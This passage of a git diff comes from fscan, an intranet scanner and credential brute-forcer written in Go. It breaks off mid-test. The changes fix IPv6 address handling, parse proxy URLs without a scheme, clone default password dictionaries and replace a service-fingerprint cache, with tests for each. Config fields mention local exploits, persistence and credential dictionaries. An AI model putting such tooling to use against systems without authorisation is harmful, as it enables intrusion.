24 ++ plugins/init_test.go | 32 +- plugins/local/systeminfo_dc_url.go | 11 + plugins/local/systeminfo_dc_url_test.go | 24 ++ plugins/local/systeminfo_dc_windows.go | 4 +- plugins/services/cassandra.go | 16 +- plugins/services/credential_tester.go | 88 ++++- plugins/services/credential_tester_test.go | 220 ++++++++++++- plugins/services/kafka.go | 8 +- plugins/services/mongodb.go | 4 +- plugins/services/protocol_ids_test.go | 46 +++ plugins/web/webtitle.go | 28 +- plugins/web/webtitle_test.go | 21 ++ web/api/result.go | 35 +- web/api/result_test.go | 31 ++ webscan/lib/Client.go | 10 +- webscan/lib/Eval.go | 13 +- webscan/lib/client_test.go | 24 ++ webscan/lib/eval_test.go | 9 + webscan/web_scan.go | 29 +- webscan/web_scan_test.go | 20 ++ 44 files changed, 1533 insertions(+), 142 deletions(-) create mode 100644 common/output/stdout_writer_test.go delete mode 100644 core/service_cache.go create mode 100644 core/service_cache_test.go create mode 100644 core/tuning_cli_integration_test.go create mode 100644 libs/grdp/login/screen_test.go create mode 100644 plugins/local/systeminfo_dc_url.go create mode 100644 plugins/local/systeminfo_dc_url_test.go create mode 100644 plugins/services/protocol_ids_test.go create mode 100644 web/api/result_test.go create mode 100644 webscan/lib/client_test.go diff --git a/common/config_builder.go b/common/config_builder.go index d5b7210..26ce43b 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -4,6 +4,7 @@ import ( "encoding/hex" "fmt" "net" + "net/url" "strconv" "strings" @@ -171,6 +172,7 @@ func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) { // 如果命令行同时指定了单个用户名和单个密码(不是逗号分隔的多个) if fv.Username != "" && fv.Password != "" && !strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") && + fv.AddUsers == "" && fv.AddPasswords == "" && fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" { pairs = append(pairs, config.CredentialPair{ Username: strings.TrimSpace(fv.Username), @@ -294,9 +296,42 @@ func normalizeURL(rawURL string) string { } lowerURL := strings.ToLower(rawURL) if !strings.HasPrefix(lowerURL, "http://") && !strings.HasPrefix(lowerURL, "https://") { - return "http://" + rawURL + return "http://" + normalizeSchemelessURLTarget(rawURL) } - return rawURL + parsed, err := url.Parse(rawURL) + if err != nil || parsed.Host == "" { + return rawURL + } + normalizedHost := normalizeURLHost(parsed.Host) + if normalizedHost == parsed.Host { + return rawURL + } + parsed.Host = normalizedHost + normalized := parsed.String() + if schemeEnd := strings.Index(rawURL, "://"); schemeEnd >= 0 { + return rawURL[:schemeEnd] + normalized[len(parsed.Scheme):] + } + return normalized +} + +func normalizeSchemelessURLTarget(rawURL string) string { + authority := rawURL + suffix := "" + if idx := strings.IndexAny(rawURL, "/?#"); idx >= 0 { + authority = rawURL[:idx] + suffix = rawURL[idx:] + } + return normalizeURLHost(authority) + suffix +} + +func normalizeURLHost(host string) string { + if strings.HasPrefix(host, "[") { + return host + } + if ip := net.ParseIP(host); ip != nil && strings.Contains(host, ":") { + return "[" + host + "]" + } + return host } // ============================================================================= diff --git a/common/config_builder_test.go b/common/config_builder_test.go index 376ac61..a90186c 100644 --- a/common/config_builder_test.go +++ b/common/config_builder_test.go @@ -3,6 +3,8 @@ package common import ( "reflect" "testing" + + fscanconfig "github.com/shadow1ng/fscan/common/config" ) func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) { @@ -49,6 +51,100 @@ func TestBuildConfigRejectsInvalidHashValue(t *testing.T) { } } +func TestBuildConfigDefaultsAreIndependentCopies(t *testing.T) { + cfg, _, err := BuildConfig(&FlagVars{Username: "custom-user"}, &HostInfo{}) + if err != nil { + t.Fatalf("BuildConfig error = %v", err) + } + + defaultSSHUsers := fscanconfig.DefaultUserDict["ssh"] + if len(defaultSSHUsers) == 1 && defaultSSHUsers[0] == "custom-user" { + t.Fatal("BuildConfig mutated DefaultUserDict") + } + + cfg.Credentials.Userdict["ssh"][0] = "mutated-user" + if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" { + t.Fatal("Config userdict shares backing storage with DefaultUserDict") + } + + cfg.Credentials.Passwords[0] = "mutated-password" + if fscanconfig.DefaultPasswords[0] == "mutated-password" { + t.Fatal("Config passwords share backing storage with DefaultPasswords") + } + + port := 80 + cfg.PortMap[port][0] = "mutated-probe" + if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" { + t.Fatal("Config port map shares backing storage with DefaultPortMap") + } + + cfg.DefaultMap[0] = "mutated-default-probe" + if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" { + t.Fatal("Config default map shares backing storage with DefaultProbeMap") + } +} + +func TestParseUserPassPairsKeepsAdditionalCredentialFlags(t *testing.T) { + tests := []struct { + name string + fv *FlagVars + }{ + { + name: "additional passwords", + fv: &FlagVars{ + Username: "root", + Password: "primary", + AddPasswords: "extra", + }, + }, + { + name: "additional users", + fv: &FlagVars{ + Username: "root", + Password: "primary", + AddUsers: "admin", + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + pairs, err := parseUserPassPairs(tt.fv) + if err != nil { + t.Fatalf("parseUserPassPairs error = %v", err) + } + if len(pairs) != 0 { + t.Fatalf("parseUserPassPairs returned exact pairs %#v; additional credential flags would be ignored", pairs) + } + }) + } +} + +func TestNewConfigDefaultsAreIndependentCopies(t *testing.T) { + cfg := NewConfig() + + cfg.Credentials.Userdict["ssh"][0] = "mutated-user" + if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" { + t.Fatal("NewConfig userdict shares backing storage with DefaultUserDict") + } + + cfg.Credentials.Passwords[0] = "mutated-password" + if fscanconfig.DefaultPasswords[0] == "mutated-password" { + t.Fatal("NewConfig passwords share backing storage with DefaultPasswords") + } + + port := 80 + cfg.PortMap[port][0] = "mutated-probe" + if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" { + t.Fatal("NewConfig port map shares backing storage with DefaultPortMap") + } + + cfg.DefaultMap[0] = "mutated-default-probe" + if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" { + t.Fatal("NewConfig default map shares backing storage with DefaultProbeMap") + } +} + func TestParseTargetsHostPortDoesNotLeaveSyntheticHost(t *testing.T) { fv := &FlagVars{Ports: "22"} info := &HostInfo{Host: "127.0.0.1:8080"} @@ -73,3 +169,25 @@ func TestNormalizeURLKeepsUppercaseScheme(t *testing.T) { t.Fatalf("normalizeURL() = %q", got) } } + +func TestNormalizeURLBracketsIPv6Literals(t *testing.T) { + tests := []struct { + name string + in string + want string + }{ + {name: "bare ipv6 without scheme", in: "2001:db8::1", want: "http://[2001:db8::1]"}, + {name: "bracketed ipv6 without scheme", in: "[2001:db8::1]", want: "http://[2001:db8::1]"}, + {name: "bare ipv6 with scheme", in: "http://2001:db8::1", want: "http://[2001:db8::1]"}, + {name: "bare ipv6 path without scheme", in: "2001:db8::1/admin", want: "http://[2001:db8::1]/admin"}, + {name: "bare ipv6 query without scheme", in: "2001:db8::1?debug=1", want: "http://[2001:db8::1]?debug=1"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := normalizeURL(tt.in); got != tt.want { + t.Fatalf("normalizeURL(%q) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} diff --git a/common/config_struct.go b/common/config_struct.go index 164748c..10a1f24 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -145,6 +145,35 @@ type LocalExploitConfig struct { DownloadSavePath string // 下载保存路径 } +func cloneStringSlice(values []string) []string { + if values == nil { + return nil + } + return append([]string(nil), values...) +} + +func cloneStringSliceMap(values map[string][]string) map[string][]string { + if values == nil { + return nil + } + cloned := make(map[string][]string, len(values)) + for key, value := range values { + cloned[key] = cloneStringSlice(value) + } + return cloned +} + +func clonePortMap(values map[int][]string) map[int][]string { + if values == nil { + return nil + } + cloned := make(map[int][]string, len(values)) + for key, value := range values { + cloned[key] = cloneStringSlice(value) + } + return cloned +} + // NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags) func NewConfig() *Config { return &Config{ @@ -163,13 +192,13 @@ func NewConfig() *Config { MaxRetries: 3, // 高级功能 - 使用默认配置 - PortMap: config.DefaultPortMap, - DefaultMap: config.DefaultProbeMap, + PortMap: clonePortMap(config.DefaultPortMap), + DefaultMap: cloneStringSlice(config.DefaultProbeMap), // 分组配置 - 使用默认字典 Credentials: CredentialConfig{ - Userdict: config.DefaultUserDict, - Passwords: config.DefaultPasswords, + Userdict: cloneStringSliceMap(config.DefaultUserDict), + Passwords: cloneStringSlice(config.DefaultPasswords), UserPassPairs: nil, }, Network: NetworkConfig{ diff --git a/common/flag_config.go b/common/flag_config.go index 085966b..4f09030 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -164,8 +164,8 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { DNSLog: fv.DNSLog, PersistenceTargetFile: fv.PersistenceTargetFile, WinPEFile: fv.WinPEFile, - PortMap: config.DefaultPortMap, - DefaultMap: config.DefaultProbeMap, + PortMap: clonePortMap(config.DefaultPortMap), + DefaultMap: cloneStringSlice(config.DefaultProbeMap), // SOCKS5代理端口 Socks5ProxyPort: fv.Socks5ProxyPort, @@ -175,8 +175,8 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { Username: fv.Username, Password: fv.Password, Domain: fv.Domain, - Userdict: config.DefaultUserDict, - Passwords: config.DefaultPasswords, + Userdict: cloneStringSliceMap(config.DefaultUserDict), + Passwords: cloneStringSlice(config.DefaultPasswords), UserPassPairs: nil, // 后续解析 SSHKeyPath: fv.SSHKeyPath, }, diff --git a/common/globals.go b/common/globals.go index 9ee1929..2500645 100644 --- a/common/globals.go +++ b/common/globals.go @@ -31,7 +31,11 @@ type HostInfo struct { // Target 返回 host:port 格式字符串 func (h *HostInfo) Target() string { - return net.JoinHostPort(h.Host, strconv.Itoa(h.Port)) + host := h.Host + if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") { + host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[") + } + return net.JoinHostPort(host, strconv.Itoa(h.Port)) } // ============================================================================= diff --git a/common/globals_test.go b/common/globals_test.go index 7933e8b..3807e81 100644 --- a/common/globals_test.go +++ b/common/globals_test.go @@ -8,3 +8,10 @@ func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) { t.Fatalf("Target() = %q, want %q", got, want) } } + +func TestHostInfoTargetDoesNotDoubleBracketIPv6(t *testing.T) { + info := &HostInfo{Host: "[2001:db8::1]", Port: 443} + if got, want := info.Target(), "[2001:db8::1]:443"; got != want { + t.Fatalf("Target() = %q, want %q", got, want) + } +} diff --git a/common/network.go b/common/network.go index f45abb8..ffef90d 100644 --- a/common/network.go +++ b/common/network.go @@ -52,16 +52,31 @@ func getGlobalDialer(timeout time.Duration) (proxy.Dialer, error) { // parseProxyURL 解析代理URL,提取地址和认证信息 func parseProxyURL(proxyURL, fallback string) (host, username, password string) { + if !strings.Contains(proxyURL, "://") { + if host, username, password, ok := parseProxyURLCandidate("http://" + proxyURL); ok { + return host, username, password + } + } + if host, username, password, ok := parseProxyURLCandidate(proxyURL); ok { + return host, username, password + } + return fallback, "", "" +} + +func parseProxyURLCandidate(proxyURL string) (host, username, password string, ok bool) { parsedURL, err := url.Parse(proxyURL) if err != nil { - return fallback, "", "" + return "", "", "", false } host = parsedURL.Host + if host == "" { + return "", "", "", false + } if parsedURL.User != nil { username = parsedURL.User.Username() password, _ = parsedURL.User.Password() } - return + return host, username, password, true } // createProxyConfig 根据全局设置创建代理配置 diff --git a/common/output/stdout_writer_test.go b/common/output/stdout_writer_test.go new file mode 100644 index 0000000..0c73531 --- /dev/null +++ b/common/output/stdout_writer_test.go @@ -0,0 +1,35 @@ +package output + +import "testing" + +func TestSplitHostPort(t *testing.T) { + tests := []struct { + name string + target string + wantHost string + wantPort int + wantOK bool + }{ + {name: "ipv4", target: "192.168.1.1:80", wantHost: "192.168.1.1", wantPort: 80, wantOK: true}, + {name: "hostname", target: "example.com:443", wantHost: "example.com", wantPort: 443, wantOK: true}, + {name: "bracketed ipv6", target: "[2001:db8::1]:8443", wantHost: "2001:db8::1", wantPort: 8443, wantOK: true}, + {name: "bare ipv6 without port", target: "2001:db8::1", wantOK: false}, + {name: "invalid port", target: "example.com:abc", wantOK: false}, + {name: "port out of range", target: "example.com:65536", wantOK: false}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + host, port, ok := splitHostPort(tt.target) + if ok != tt.wantOK { + t.Fatalf("splitHostPort(%q) ok = %v, want %v", tt.target, ok, tt.wantOK) + } + if !ok { + return + } + if host != tt.wantHost || port != tt.wantPort { + t.Fatalf("splitHostPort(%q) = (%q, %d), want (%q, %d)", tt.target, host, port, tt.wantHost, tt.wantPort) + } + }) + } +} diff --git a/common/output/writers.go b/common/output/writers.go index 328d710..973e12e 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -46,6 +46,12 @@ func targetWithPort(target string, port interface{}) string { return target } portText := fmt.Sprint(port) + if strings.TrimSpace(portText) == "" { + return target + } + if strings.HasPrefix(target, "[") && strings.HasSuffix(target, "]") { + target = strings.TrimPrefix(strings.TrimSuffix(target, "]"), "[") + } if strings.Count(target, ":") == 1 { return target } diff --git a/common/output/writers_test.go b/common/output/writers_test.go index 7118ebb..c9fdedf 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -67,7 +67,10 @@ func TestTargetWithPortIPv6(t *testing.T) { {name: "ipv4 without port", target: "192.168.1.1", port: 80, want: "192.168.1.1:80"}, {name: "ipv4 with port", target: "192.168.1.1:80", port: 443, want: "192.168.1.1:80"}, {name: "ipv6 without port", target: "2001:db8::1", port: 443, want: "[2001:db8::1]:443"}, + {name: "bracketed ipv6 without port", target: "[2001:db8::1]", port: 443, want: "[2001:db8::1]:443"}, {name: "ipv6 with port", target: "[2001:db8::1]:443", port: 80, want: "[2001:db8::1]:443"}, + {name: "empty port", target: "example.com", port: "", want: "example.com"}, + {name: "blank port", target: "example.com", port: " \t", want: "example.com"}, } for _, tt := range tests { diff --git a/common/session_test.go b/common/session_test.go index cb03d17..aa7f361 100644 --- a/common/session_test.go +++ b/common/session_test.go @@ -141,6 +141,26 @@ func TestScanSessionProxyStateComesFromConfig(t *testing.T) { } } +func TestParseProxyURLFallsBackWhenHostIsEmpty(t *testing.T) { + host, username, password := parseProxyURL("127.0.0.1:8080", "127.0.0.1:8080") + if host != "127.0.0.1:8080" { + t.Fatalf("host = %q, want fallback address", host) + } + if username != "" || password != "" { + t.Fatalf("unexpected credentials: %q/%q", username, password) + } +} + +func TestParseProxyURLExtractsAuthWithoutScheme(t *testing.T) { + host, username, password := parseProxyURL("user:pass@127.0.0.1:8080", "user:pass@127.0.0.1:8080") + if host != "127.0.0.1:8080" { + t.Fatalf("host = %q, want proxy address", host) + } + if username != "user" || password != "pass" { + t.Fatalf("credentials = %q/%q, want user/pass", username, password) + } +} + type roundTripFunc func(*http.Request) (*http.Response, error) func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) { diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index a1912ab..c553f4a 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -137,11 +137,11 @@ func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, t } } - // 端口不匹配时,按服务识别结果匹配 + // 端口不匹配时,按指纹识别结果匹配 // 例:8881 端口上识别到 ssh 服务 → ssh 插件应该执行 if targetHost != "" && targetPort > 0 { - if svcName, ok := GetServiceName(targetHost, targetPort); ok { - if strings.EqualFold(svcName, pluginName) { + if info, ok := GetCachedServiceInfo(targetHost, targetPort); ok && info != nil { + if strings.EqualFold(info.Name, pluginName) { return true } } diff --git a/core/network_profiler.go b/core/network_profiler.go index 6accdd3..5aba343 100644 --- a/core/network_profiler.go +++ b/core/network_profiler.go @@ -2,10 +2,10 @@ package core import ( "context" - "fmt" "math" "net" "sort" + "strconv" "sync" "time" @@ -97,6 +97,10 @@ func (p *NetworkProfile) RecommendConcurrency(userThreadNum int, explicit bool) // probePorts 探测用的端口列表(高响应率的常见端口) var probePorts = []int{80, 443, 22} +func networkProbeAddress(host string, port int) string { + return net.JoinHostPort(host, strconv.Itoa(port)) +} + // ProbeNetwork 探测目标网络环境 // 从 hosts 中抽样,用低并发 TCP 连接测量 RTT 和丢包率 // 整个过程控制在数秒内完成 @@ -140,7 +144,7 @@ func ProbeNetwork(ctx context.Context, hosts []string, session *common.ScanSessi go func(h string, p int) { defer func() { <-sem; wg.Done() }() - addr := fmt.Sprintf("%s:%d", h, p) + addr := networkProbeAddress(h, p) start := time.Now() conn, err := session.DialTCP(ctx, "tcp", addr, probeTimeout) rtt := time.Since(start) diff --git a/core/network_profiler_test.go b/core/network_profiler_test.go index 252c385..3aef559 100644 --- a/core/network_profiler_test.go +++ b/core/network_profiler_test.go @@ -60,7 +60,7 @@ func TestClassifyNetwork(t *testing.T) { t.Run("公网 RTT 分布(低丢包)", func(t *testing.T) { rtts := makeDurations([]int{60, 70, 80, 90, 100, 110, 120, 150, 200, 300}) // ms - p := classifyNetwork(rtts, 0, 10) // 无丢包 + p := classifyNetwork(rtts, 0, 10) // 无丢包 if p.Env != EnvInternet { t.Errorf("env = %v, want Internet", p.Env) @@ -72,7 +72,7 @@ func TestClassifyNetwork(t *testing.T) { t.Run("高丢包归类为慢速", func(t *testing.T) { rtts := makeDurations([]int{60, 70, 80, 90, 100}) // ms, 5 responded - p := classifyNetwork(rtts, 5, 10) // 50% loss + p := classifyNetwork(rtts, 5, 10) // 50% loss if p.Env != EnvSlow { t.Errorf("env = %v, want Slow (高丢包)", p.Env) @@ -96,14 +96,14 @@ func TestClassifyNetwork(t *testing.T) { func TestRecommendConcurrency(t *testing.T) { tests := []struct { - env NetworkEnv - lossRate float64 - userT int - explicit bool - wantTMin int - wantTMax int - wantCeil int - desc string + env NetworkEnv + lossRate float64 + userT int + explicit bool + wantTMin int + wantTMax int + wantCeil int + desc string }{ {EnvLAN, 0.0, 600, false, 800, 1000, -1, "内网自动: ×1.5"}, {EnvWAN, 0.0, 600, false, 550, 650, -1, "局域网自动: ×1.0"}, @@ -156,6 +156,24 @@ func TestPickSamples(t *testing.T) { } } +func TestNetworkProbeAddressUsesJoinHostPort(t *testing.T) { + tests := []struct { + host string + port int + want string + }{ + {"127.0.0.1", 80, "127.0.0.1:80"}, + {"::1", 443, "[::1]:443"}, + {"2001:db8::1", 22, "[2001:db8::1]:22"}, + } + + for _, tt := range tests { + if got := networkProbeAddress(tt.host, tt.port); got != tt.want { + t.Fatalf("networkProbeAddress(%q, %d) = %q, want %q", tt.host, tt.port, got, tt.want) + } + } +} + // ============================================================================= // 辅助 // ============================================================================= diff --git a/core/port_scan.go b/core/port_scan.go index a816c2c..882fda6 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -707,8 +707,8 @@ func processServiceResult(ctx context.Context, host string, port int, addr strin return } - // 缓存服务名称,供插件按服务类型匹配(解决非标准端口问题) - MarkServiceName(host, port, serviceInfo.Name) + // 缓存指纹识别结果,供插件按服务类型匹配(解决非标准端口问题) + CacheServiceInfo(host, port, serviceInfo) // 保存并输出服务信息 details := buildServiceDetails(port, serviceInfo) @@ -716,7 +716,6 @@ func processServiceResult(ctx context.Context, host string, port int, addr strin if isWeb { details["is_web"] = true - MarkAsWebService(host, port, serviceInfo) } _ = session.SaveResult(&output.ScanResult{ diff --git a/core/port_scan_test.go b/core/port_scan_test.go index 0760338..7d8e0be 100644 --- a/core/port_scan_test.go +++ b/core/port_scan_test.go @@ -212,6 +212,48 @@ func TestFormatAddress(t *testing.T) { } } +func TestBuildWebServiceURLIPv6(t *testing.T) { + tests := []struct { + name string + addr string + serviceInfo *ServiceInfo + want string + }{ + { + name: "http default port", + addr: "[2001:db8::1]:80", + serviceInfo: &ServiceInfo{ + Name: "http", + }, + want: "http://[2001:db8::1]", + }, + { + name: "https default port", + addr: "[2001:db8::1]:443", + serviceInfo: &ServiceInfo{ + Name: "https", + }, + want: "https://[2001:db8::1]", + }, + { + name: "http non-default port", + addr: "[2001:db8::1]:8080", + serviceInfo: &ServiceInfo{ + Name: "http", + }, + want: "http://[2001:db8::1]:8080", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := buildWebServiceURL(tt.addr, tt.serviceInfo); got != tt.want { + t.Fatalf("buildWebServiceURL(%q) = %q, want %q", tt.addr, got, tt.want) + } + }) + } +} + // ============================================================================= // 排除端口逻辑测试(从EnhancedPortScan:28-32行提取) // ============================================================================= diff --git a/core/service_cache.go b/core/service_cache.go deleted file mode 100644 index 4f1054b..0000000 --- a/core/service_cache.go +++ /dev/null @@ -1,36 +0,0 @@ -package core - -import ( - "net" - "strconv" - "strings" - "sync" -) - -// 服务识别缓存:host:port → 服务名称 -// 端口扫描阶段写入,插件匹配阶段读取 -// 解决非标准端口上的服务无法匹配对应插件的问题 -var ( - serviceNameCache = make(map[string]string) - serviceCacheMu sync.RWMutex -) - -// MarkServiceName 记录端口上识别到的服务名称 -func MarkServiceName(host string, port int, serviceName string) { - if serviceName == "" || serviceName == "unknown" { - return - } - key := net.JoinHostPort(host, strconv.Itoa(port)) - serviceCacheMu.Lock() - serviceNameCache[key] = strings.ToLower(serviceName) - serviceCacheMu.Unlock() -} - -// GetServiceName 查询端口上的服务名称 -func GetServiceName(host string, port int) (string, bool) { - key := net.JoinHostPort(host, strconv.Itoa(port)) - serviceCacheMu.RLock() - name, ok := serviceNameCache[key] - serviceCacheMu.RUnlock() - return name, ok -} diff --git a/core/service_cache_test.go b/core/service_cache_test.go new file mode 100644 index 0000000..c277b2c --- /dev/null +++ b/core/service_cache_test.go @@ -0,0 +1,354 @@ +package core + +import ( + "sync" + "testing" + + "github.com/shadow1ng/fscan/plugins" +) + +// registerTestPlugins 注册测试用插件(名字和服务识别结果一致) +func registerTestPlugins(t *testing.T) { + t.Helper() + plugins.RegisterWithOptions("ssh", func() plugins.Plugin { return nil }, []int{22, 2222}, nil, true) + plugins.RegisterWithOptions("mysql", func() plugins.Plugin { return nil }, []int{3306}, nil, true) + plugins.RegisterWithOptions("ftp", func() plugins.Plugin { return nil }, []int{21}, nil, true) + plugins.RegisterWithOptions("redis", func() plugins.Plugin { return nil }, []int{6379}, nil, true) + plugins.RegisterWithOptions("postgresql", func() plugins.Plugin { return nil }, []int{5432}, nil, true) + plugins.RegisterWithOptions("telnet", func() plugins.Plugin { return nil }, []int{23}, nil, true) + plugins.RegisterWithOptions("mssql", func() plugins.Plugin { return nil }, []int{1433}, nil, true) + plugins.RegisterWithOptions("vnc", func() plugins.Plugin { return nil }, []int{5900}, nil, true) + plugins.RegisterWithOptions("webtitle", func() plugins.Plugin { return nil }, []int{}, []string{plugins.PluginTypeWeb}, true) +} + +func clearServiceCache() { + serviceCacheMutex.Lock() + serviceCache = make(map[string]*ServiceInfo) + serviceCacheMutex.Unlock() +} + +// ============================================================================= +// 单元测试:CacheServiceInfo / GetCachedServiceInfo +// ============================================================================= + +func TestCacheServiceInfo_BasicCRUD(t *testing.T) { + clearServiceCache() + + t.Run("缓存后可读取", func(t *testing.T) { + CacheServiceInfo("10.0.0.1", 22, &ServiceInfo{Name: "ssh", Version: "OpenSSH_8.9"}) + info, ok := GetCachedServiceInfo("10.0.0.1", 22) + if !ok { + t.Fatal("缓存未命中") + } + if info.Name != "ssh" || info.Version != "OpenSSH_8.9" { + t.Errorf("got Name=%q Version=%q", info.Name, info.Version) + } + }) + + t.Run("不同端口独立", func(t *testing.T) { + CacheServiceInfo("10.0.0.1", 3306, &ServiceInfo{Name: "mysql"}) + CacheServiceInfo("10.0.0.1", 5432, &ServiceInfo{Name: "postgresql"}) + i1, _ := GetCachedServiceInfo("10.0.0.1", 3306) + i2, _ := GetCachedServiceInfo("10.0.0.1", 5432) + if i1.Name != "mysql" || i2.Name != "postgresql" { + t.Errorf("端口混淆: 3306=%q 5432=%q", i1.Name, i2.Name) + } + }) + + t.Run("不同主机独立", func(t *testing.T) { + CacheServiceInfo("10.0.0.1", 22, &ServiceInfo{Name: "ssh"}) + CacheServiceInfo("10.0.0.2", 22, &ServiceInfo{Name: "telnet"}) + i1, _ := GetCachedServiceInfo("10.0.0.1", 22) + i2, _ := GetCachedServiceInfo("10.0.0.2", 22) + if i1.Name != "ssh" || i2.Name != "telnet" { + t.Errorf("主机混淆: .1=%q .2=%q", i1.Name, i2.Name) + } + }) + + t.Run("覆盖写入", func(t *testing.T) { + CacheServiceInfo("10.0.0.5", 80, &ServiceInfo{Name: "unknown"}) + CacheServiceInfo("10.0.0.5", 80, &ServiceInfo{Name: "http"}) + info, _ := GetCachedServiceInfo("10.0.0.5", 80) + if info.Name != "http" { + t.Errorf("覆盖失败: %q", info.Name) + } + }) + + t.Run("未缓存返回 false", func(t *testing.T) { + if _, ok := GetCachedServiceInfo("192.168.99.99", 12345); ok { + t.Error("应返回 false") + } + }) +} + +// ============================================================================= +// 单元测试:Web 服务过滤 +// ============================================================================= + +func TestWebServiceFiltering(t *testing.T) { + clearServiceCache() + + webNames := []string{"http", "https", "ssl", "tls", "nginx", "apache", "iis", "tomcat"} + nonWebNames := []string{"ssh", "mysql", "postgresql", "redis", "mongodb", "ftp", "smtp", "telnet", "vnc", "rdp"} + + for _, name := range webNames { + clearServiceCache() + CacheServiceInfo("10.0.0.1", 443, &ServiceInfo{Name: name}) + if !IsMarkedWebService("10.0.0.1", 443) { + t.Errorf("%q 应被识别为 Web 服务", name) + } + } + + for _, name := range nonWebNames { + clearServiceCache() + CacheServiceInfo("10.0.0.1", 9999, &ServiceInfo{Name: name}) + if IsMarkedWebService("10.0.0.1", 9999) { + t.Errorf("%q 不应被识别为 Web 服务", name) + } + } + + t.Run("GetWebServiceInfo 过滤非 Web", func(t *testing.T) { + clearServiceCache() + CacheServiceInfo("10.0.0.1", 3306, &ServiceInfo{Name: "mysql"}) + if _, ok := GetWebServiceInfo("10.0.0.1", 3306); ok { + t.Error("mysql 不应通过 GetWebServiceInfo") + } + }) + + t.Run("GetWebServiceInfo 返回 Web", func(t *testing.T) { + clearServiceCache() + CacheServiceInfo("10.0.0.1", 8080, &ServiceInfo{Name: "nginx"}) + info, ok := GetWebServiceInfo("10.0.0.1", 8080) + if !ok || info.Name != "nginx" { + t.Error("nginx 应通过 GetWebServiceInfo") + } + }) +} + +// ============================================================================= +// 集成测试:指纹驱动插件匹配 +// ============================================================================= + +func TestIntegration_FingerprintDrivenPluginMatch(t *testing.T) { + clearServiceCache() + registerTestPlugins(t) + + CacheServiceInfo("10.0.0.1", 22, &ServiceInfo{Name: "ssh"}) + CacheServiceInfo("10.0.0.1", 8881, &ServiceInfo{Name: "ssh"}) + CacheServiceInfo("10.0.0.1", 13306, &ServiceInfo{Name: "mysql"}) + CacheServiceInfo("10.0.0.1", 80, &ServiceInfo{Name: "http"}) + CacheServiceInfo("10.0.0.1", 9443, &ServiceInfo{Name: "https"}) + CacheServiceInfo("10.0.0.1", 2121, &ServiceInfo{Name: "ftp"}) + CacheServiceInfo("10.0.0.1", 6380, &ServiceInfo{Name: "redis"}) + + strategy := NewServiceScanStrategy() + + tests := []struct { + plugin, host string + port int + want bool + desc string + }{ + {"ssh", "10.0.0.1", 22, true, "SSH 标准端口"}, + {"ssh", "10.0.0.1", 8881, true, "SSH 非标准端口(指纹匹配)"}, + {"mysql", "10.0.0.1", 13306, true, "MySQL 非标准端口"}, + {"ftp", "10.0.0.1", 2121, true, "FTP 非标准端口"}, + {"redis", "10.0.0.1", 6380, true, "Redis 非标准端口"}, + {"ssh", "10.0.0.1", 13306, false, "SSH 不匹配 MySQL 端口"}, + {"mysql", "10.0.0.1", 8881, false, "MySQL 不匹配 SSH 端口"}, + {"redis", "10.0.0.1", 22, false, "Redis 不匹配 SSH 标准端口"}, + {"ssh", "10.0.0.1", 65000, false, "SSH 不匹配未识别端口"}, + {"webtitle", "10.0.0.1", 80, true, "Web 匹配 http"}, + {"webtitle", "10.0.0.1", 9443, true, "Web 匹配 https 非标准"}, + {"webtitle", "10.0.0.1", 22, false, "Web 不匹配 SSH"}, + } + + for _, tt := range tests { + t.Run(tt.desc, func(t *testing.T) { + got := strategy.isPluginApplicableToPortWithHost(tt.plugin, tt.host, tt.port) + if got != tt.want { + t.Errorf("plugin=%q port=%d: got %v, want %v", tt.plugin, tt.port, got, tt.want) + } + }) + } +} + +// ============================================================================= +// 集成测试:非标准端口完整流程 +// ============================================================================= + +func TestIntegration_NonStandardPortScanFlow(t *testing.T) { + clearServiceCache() + registerTestPlugins(t) + + host := "172.16.0.100" + CacheServiceInfo(host, 8881, &ServiceInfo{ + Name: "ssh", Version: "OpenSSH_8.2p1", + Banner: "SSH-2.0-OpenSSH_8.2p1", Extras: map[string]string{"os": "Linux"}, + }) + + strategy := NewServiceScanStrategy() + + if !strategy.isPluginApplicableToPortWithHost("ssh", host, 8881) { + t.Error("SSH 应匹配 8881") + } + if strategy.isPluginApplicableToPortWithHost("mysql", host, 8881) { + t.Error("MySQL 不应匹配 8881 上的 SSH") + } + if IsMarkedWebService(host, 8881) { + t.Error("SSH 不应标记为 Web") + } +} + +// ============================================================================= +// 集成测试:同一主机多服务 +// ============================================================================= + +func TestIntegration_MultiServiceSameHost(t *testing.T) { + clearServiceCache() + registerTestPlugins(t) + + host := "192.168.1.100" + CacheServiceInfo(host, 2222, &ServiceInfo{Name: "ssh"}) + CacheServiceInfo(host, 33060, &ServiceInfo{Name: "mysql"}) + CacheServiceInfo(host, 8080, &ServiceInfo{Name: "http"}) + CacheServiceInfo(host, 63790, &ServiceInfo{Name: "redis"}) + + strategy := NewServiceScanStrategy() + + checks := []struct { + plugin string + port int + want bool + 